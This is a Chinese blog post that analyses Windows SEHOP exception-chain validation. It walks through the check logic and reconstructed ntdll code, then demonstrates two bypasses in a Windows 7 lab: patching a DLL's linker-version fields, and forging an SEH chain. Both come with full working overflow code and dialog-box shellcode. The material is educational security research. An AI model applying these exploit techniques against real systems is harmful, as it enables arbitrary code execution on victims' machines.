SEHOP机制分析报告

SEHOP机制分析报告

SEHOP概述

​ Windows Vista SP1提出,结构化异常处理程序覆盖保护(Structured Exception Handler Overwrite Protection),对覆盖 Windows 结构化异常处理程序的漏洞利用技术进行防御

​ 程序中的各 S.E.H 函数以单链表的形式存放于栈中,这个链表的末端是程序的默认异常处理,它负责处理前面 S.E.H 函数都不能处理的异常。攻击者可利用一个受控的值覆盖堆栈上异常记录的处理程序指针。一旦发生异常, 操作系统将遍历异常记录链,并调用每个异常记录中的所有处理程序。由于攻击者控制其中一条记录,操作系统将跳转到攻击者想要的任何地方,让攻击者控制执行流程。如下图所示。

image-20240302233938524

​ SEHOP 的核心任务就是检查这条S.E.H链的完整性,在程序转入异常处理前 SEHOP 会检查S.E.H链上最后一个异常处理函数是否为系统固定的默认异常处理。如果是,则说明这条S.E.H链没有被破坏,程序可以去执行当前的异常处理函数;如果检测到最后一个异常处理函数不是默认异常处理,则说明S.E.H链被破坏,可能发生了S.E.H覆盖攻击,程序将不会去执行当前的异常处理函数

开启SEHOP

​ SEHOP在Windows Server 2008,Windows10,Windows11中默认启用,而在 Windows Vista 和 Windows 7 中默认关闭

Windows Vista和Windows7中可通过修改注册表的方法开启SEHOP

​ 在注册表中 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel下面找到DisableExceptionChainValidation项,将该值设置为0,即可启用SEHOP。

image-20240302234003186

Windows10和Windows11中可直接通过Windows Defender开启和关闭SEHOP

image-20240302234037161

SEHOP的检测流程

SEHOP的限制检测条件

1.SEH结构都必须在栈上;

2.最后一个SEH结构也必须在栈上;

3.所有的SEH结构都必须是4字节对齐的;

4.SEH结构中的handle(处理函数地址)必须不在栈上;

5.最后一个SEH结构的handle必须是ntdll!FinalExceptionHandler函数;

6.最后一个SEH结构的next seh指针必须为特定值0xFFFFFFFF

SEHOP检测伪代码如下:

if (process_flags & 0x40 == 0) { //如果没有 SEH 记录则不进行检测
	if (record != 0xFFFFFFFF) { //开始检测
		do {
			if (record < stack_bottom || record > stack_top)// SEH 记录必须位于栈中
				goto corruption;
			if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)
				//SEH 记录结构需完全在栈中
				goto corruption;
			if ((record & 3) != 0) //SEH 记录必须 4 字节对齐
				goto corruption;
			handler = record->handler;
			if (handler >= stack_bottom && handler < stack_top)
				//异常处理函数地址不能位于栈中
				goto corruption;
			record = record->next;
		} while (record != 0xFFFFFFFF); //遍历 S.E.H 链
		if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {
			if (handler != &FinalExceptionHandler)//核心检测,地球人都知道,不解释了
				goto corruption;
		}
	}
}

image-20240302234101672

SEHOP检测代码位置

​ 在RtlDispatchException函数中,位于RtlIsValidHandler函数调用之前

函数分析

RtlDispatchException

​ 使用IDA逆向分析Windows7 x86 ntdll.dll文件中的RtlDispatchException

1.调用RtlCallVectoredExceptionHandlers调用VEH处理函数

2.查找是否设置SEHOP标志,若有该标志,进入SEHOP检测过程

3.按顺序执行异常处理函数,若其中一个异常处理函数返回结果为真,就不再继续向下执行

#define EXCEPTION_CHAIN_END ((struct _EXCEPTION_REGISTRATION_RECORD * POINTER_32)-1)
BOOL __stdcall RtlDispatchException(_EXCEPTION_RECORD *ExceptionRecord, PCONTEXT ContextRecord)
{
	PEXCEPTION_REGISTRATION_RECORD RegistrationPointer;
	PEXCEPTION_REGISTRATION_RECORD RegistrationPointer1;
	EXCEPTION_DISPOSITION Disposition;
	PEXCEPTION_REGISTRATION_RECORD NestedRegistration;
	EXCEPTION_RECORD ExceptionRecord1;
	DISPATCHER_CONTEXT DispatcherContext;
	int ExecuteFlags = 0;
	ULONG HighLimit;
	ULONG HighAddress;
	ULONG LowLimit;
	BOOL Result = 0;
	bool IsExceptionChainValid;

	//调用RtlCallVectoredExceptionHandlers调用VEH处理函数
	if (RtlCallVectoredExceptionHandlers(ExceptionRecord, ContextRecord) != FALSE) {
		Result = 1;
		return TRUE;
	}
	//获得异常栈的范围
	RtlpGetStackLimits(&LowLimit, &HighLimit);
	//获得SEH链的头结点
	RegistrationPointer = RtlpGetRegistrationHead();
	NestedRegistration = 0;
	IsExceptionChainValid = 1;
	//查找是否设置SEHOP标志
	if (ZwQueryInformationProcess(GetCurrentProcess(), ProcessExecuteFlags, &ExecuteFlags, sizeof(ExecuteFlags), 0) == STATUS_SUCCESS && (ExecuteFlags & DisableExceptionChainValidation) != 0)
	{
		IsExceptionChainValid = 0;
	}
	if (IsExceptionChainValid) {
        //SEHOP检测流程
		while (RegistrationPointer != EXCEPTION_CHAIN_END)
		{
			HighAddress = (ULONG)RegistrationPointer + sizeof(EXCEPTION_REGISTRATION_RECORD);
			if ((ULONG)RegistrationPointer < LowLimit || HighAddress > HighLimit)
				goto corruption;
			if (((ULONG)RegistrationPointer & 3) != 0)
				goto corruption;
			if (((ULONG)RegistrationPointer->Handler >= LowLimit) && ((ULONG)RegistrationPointer->Handler < HighLimit))
				goto corruption;
			if (!RtlIsValidHandler(RegistrationPointer->Handler, ExecuteFlags))
				goto corruption;
			RegistrationPointer = RegistrationPointer->Next;
		}
        //RtlExceptionAttached
		if ((NtCurrentTeb()->SameTebFlags & 0x200) != 0 && RegistrationPointer->Handler != FinalExceptionHandler)
		{
		corruption:
			ExceptionRecord->ExceptionFlags |= EXCEPTION_STACK_INVALID;
			goto EXIT;
		}
	}
    //按顺序执行异常处理函数,若其中一个异常处理函数返回结果为真,就不再继续向下执行
	RegistrationPointer = RtlpGetRegistrationHead();
	while (RegistrationPointer != EXCEPTION_CHAIN_END)
	{
		Disposition = RtlpExecuteHandlerForException(
			ExceptionRecord,
			(PVOID)RegistrationPointer,
			ContextRecord,
			(PVOID)&DispatcherContext,
			(PEXCEPTION_ROUTINE)RegistrationPointer->Handler);

		if (NestedRegistration == RegistrationPointer)
		{
			ExceptionRecord->ExceptionFlags &= (~EXCEPTION_NESTED_CALL);
			NestedRegistration = 0;
		}
		switch (Disposition)
		{
		case ExceptionContinueExecution:
			if ((ExceptionRecord->ExceptionFlags & EXCEPTION_NONCONTINUABLE) != 0)
				//此标志的存在表示异常是不可连续的异常,而缺少此标志表示异常是可连续的异常。
				//在不可连续的异常之后,任何继续执行的尝试都会导致EXCEPTION_NONCONTINUABLE_EXCEPTION异常
			{
				ExceptionRecord1.ExceptionCode = STATUS_NONCONTINUABLE_EXCEPTION;
				ExceptionRecord1.ExceptionFlags = EXCEPTION_NONCONTINUABLE;
				ExceptionRecord1.ExceptionRecord = ExceptionRecord;
				ExceptionRecord1.NumberParameters = 0;
				RtlRaiseException(&ExceptionRecord);
			}
			Result = TRUE;
			break;

		case ExceptionContinueSearch:
			if (ExceptionRecord->ExceptionFlags & EXCEPTION_STACK_INVALID)
				Result = FALSE;
			break;
		case ExceptionNestedException:
			ExceptionRecord->ExceptionFlags |= EXCEPTION_NESTED_CALL;
			if (DispatcherContext.RegistrationPointer > NestedRegistration) {
				NestedRegistration = DispatcherContext.RegistrationPointer;
			}
			break;
		default:
			ExceptionRecord1.ExceptionCode = STATUS_INVALID_DISPOSITION;
			ExceptionRecord1.ExceptionFlags = EXCEPTION_NONCONTINUABLE;
			ExceptionRecord1.ExceptionRecord = ExceptionRecord;
			ExceptionRecord1.NumberParameters = 0;
			RtlRaiseException(&ExceptionRecord1);
			break;
		}
		RegistrationPointer = RegistrationPointer->Next;
	}

EXIT:
	RtlCallVectoredContinueHandlers(ExceptionRecord, ContextRecord);
	return Result;
}

绕过SEHOP

1.攻击返回地址绕过 SafeSEH

​ 如果碰到一个程序,他启用了 SafeSEH 但是未启用 GS,或者启用了 GS 但是刚好被攻击的函数没有 GS 保护,直接攻击函数返回地址

限制:概率较小,普适性较低

2.利用虚函数绕过 SafeSEH

​ 通过攻击虚函数表来劫持程序流程,不涉及任何异常处理

3.利用未启用 SEHOP 的模块

​ 微软出于兼容性的考虑对一些程序禁用了 SEHOP,如经过 Armadilo 加壳的软件。 操作系统会根据 PE 头中 MajorLinkerVersion 和 MinorLinkerVersion 两个选项来判断是否为程序禁用 SEHOP。例如,可以将这两个选项分别设置为 0x53 和 0x52 来模拟经过 Armadilo 加壳的程序,从而达到禁用SEHOP的目的

实验环境

环境 环境设置
操作系统 Windows7
编译器 VS 2008
DLL编译器 VC6.0 DLL基址设置为0x11120000
编译选项 禁用ASLR,禁用优化选项,禁用GS,禁用SDL检查,禁用DEP,开启SEHOP,DLL禁用SafeSEH

绕过思路

​ 在“利用未启用SafeSEH的模块”基础上完成此次绕过,利用未启用SafeSEH的SEH_NOSaeSEH_JUMP.dll,修改其optionalHeader,禁用该DLL的SEHOP,在主程序中利用栈溢出覆盖函数的返回地址为DLL文件中的跳板指令,跳转至执行shellcode的代码

实验过程

  1. 首先为 SEH_NOSaeSEH_JUMP.dll 禁 用 SEHOP 。使用 CFF Ex plorer 打 开 SEH_ NOSaeSEH_JUMP.dll 后在 Optional header 选项页中来进行设置,分别将 MajorLinkerVersion 和 MinorLinkerVersion 设置为 0x53 和 0x52

    image-20240302234137231

  2. 修改弹出对话框的 shellcode,让其可以在 Windows 7 下正常弹出

    由于在Windows 7下PEB_LDR_DATA指向加载模块列表中第二个模块位置被KERNELBASE.dll 占据,kernel32.dll 的位置由第二个变为第三个,所以shellcode 也要作出相应修改才能够正常运行。原来 shellcode 的第 52 个字节之后插入“\x8B\x09”,该机器码对应的汇编语句为 MOV ECX,[ECX]

  3. 整体代码如下

    #include <stdio.h>
    #include <tchar.h>
    #include <string.h>
    #include <windows.h>
    
    char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\x68\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09"
    "\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
    "\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    
    ;
    
    DWORD MyException(void)
    {
    	printf("There is an exception");
    	getchar();
    	return 1;
    }
    void test(char * input)
    {
    	char str[200];
    	strcpy(str,input);	
    	int zero=0;
    	__try
    	{
    		zero=1/zero;
    	}
    	__except(MyException())
    	{
    	}
    }
    int _tmain(int argc, _TCHAR* argv[])
    {
    	HINSTANCE hInst = LoadLibrary(_T("SEH_NoSafeSEH_JUMP.dll"));//load No_SafeSEH module
    	char str[200];
    	//__asm int 3
    	test(shellcode);
    	return 0;
    }
    

测试结果

image-20240302234201197

4.伪造 S.E.H 链表

​ SEHOP 的原理是检测 S.E.H 链中最后一个异常处理函数指针是否指向一个固定的终极异 常处理函数,如果溢出时伪造这样一个结构就可以绕过 SEHOP 了。

image-20240302234220499

伪造 S.E.H 链绕过 SEHOP 所需要的具体条件:

  1. 0xXXXXXXXX 地址必须指向当前栈中,而且必须能够被 4 整除。
  2. 0xXXXXXXXX 处存放的异常处理记录作为 S.E.H 链的最后一项,其异常处理函数指 针必须指向终极异常处理函数
  3. 突破 SEHOP 检查后,溢出程序还需绕过 SafeSEH。 所以在“利用未启用 SafeSEH 模块绕过 SafeSEH”的基 础上进行

实验环境

环境 环境设置
操作系统 Windows7
编译器 VS 2008
DLL编译器 VC6.0 DLL 基址设置为0x11120000
编译选项 禁用ASLR,禁用优化选项,禁用GS,禁用SDL检查,禁用DEP,开启SEHOP,DLL禁用SafeSEH

绕过思路

​ 通过未启用 SafeSEH 的 SEH_NOSaeSEH_JUMP.dll 来绕过 SafeSEH。 通过伪造 S.E.H 链,造成 S.E.H 链未被破坏的假象来绕过 SEHOP。

​ SEH_NOSafeSEH 中的 test 函数存在典型的溢出,通过向 str 复制超长字符串造 成 str 溢出,进而覆盖程序的 S.E.H 信息。使用 SEH_NOSafeSEH_JUMP.DLL 中的“pop pop retn”指令地址覆盖异常处理函数地址,通过制造除 0 异常,将程序转入异常处理。通过劫持异常处理流程,程序转入 SEH_NOSaeSEH_JUMP.DLL 中执行“pop pop retn”指令,在执行 retn 后程序转入 shellcode 执行

限制

​ 必须在关闭ASLR的情况下执行

实验过程

  1. 首先确定 FinalExceptionHandler 指向的地址。用 OllyDbg 加载好程序后直接观察堆栈的底部就可以看到 FinalExceptionHandler 指向的地址,本次实验中地址为 0x7717AB2D

    image-20240302235211558

  2. 已知被溢出字符串起始地址为0x12FD2C,SEH处理块next指针地址为0x0012FDFC,SEH处理程序地址为0x0012FE00,字符串起始地址与next指针地址相差208个字节,所以前208个字节使用0x90填充

    image-20240302235228904

  3. 构造shellcode,在距离弹出对话框机器码结束最近的内存放置伪造的异常处理记录,这个地址不仅可以被 4 整除而且还不能影响程序的执行

    若选择原地址0x0012FFE4,0x0012FFE4 作为机器码被执行的时候会影响程序的正常运行,所以在距离弹出对话框机器码结束最近的内存放置伪造的异常处理记录选择合适的地址,此处选择0x0012FEC0,在此处填充最后一个SEH记录

    image-20240302235244819

  4. 在209-212字节处填充0x0012FEC0地址作为被伪造的SEH链的next指针

  5. 213-216字节处即为被覆盖的SEH处理程序地址,在此处填充0x00121068(SEH_NOSaeSEH_JUMP.DLL 中执行“pop pop retn”指令地址)

  6. 程序整体代码如下:

     #include <stdio.h>
    #include <tchar.h>
    #include <string.h>
    #include <windows.h>
    char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xC0\xFE\x12\x00"//address of last seh record
    "\x68\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09"
    "\x8B\x09" //在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
    "\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90"
    "\xFF\xFF\xFF\xFF"// the fake seh record
    "\x2D\xAB\xCE\x77"
    ;
    DWORD MyException(void)
    {
    	printf("There is an exception");
    	getchar();
    	return 1;
    }
    void test(char * input)
    {
    	char str[200];
    	memcpy(str,input,412);
    	//__asm int 3
    	int zero=0;
    	__try
    	{
    		zero=1/zero;
    	}
    	__except(MyException())
    	{
    	}
    }
    int _tmain(int argc, _TCHAR* argv[])
    {
    	HINSTANCE hInst = LoadLibrary(_T("SEH_NoSafeSEH_JUMP.dll"));//load No_SafeSEH module
    	char str[200];
    	//__asm int 3
    	test(shellcode);
    	return 0;
    }
    

测试结果

image-20240302235304052

参考

文档相同 TEB 标志 (geoffchappell.com)

​ Windows7 x86 ntdll.dll源码逆向分析

​ Windos2003 Source Insight源码分析

posted @ 2024-03-02 23:56  修竹Kirakira  阅读(20)  评论(0编辑  收藏  举报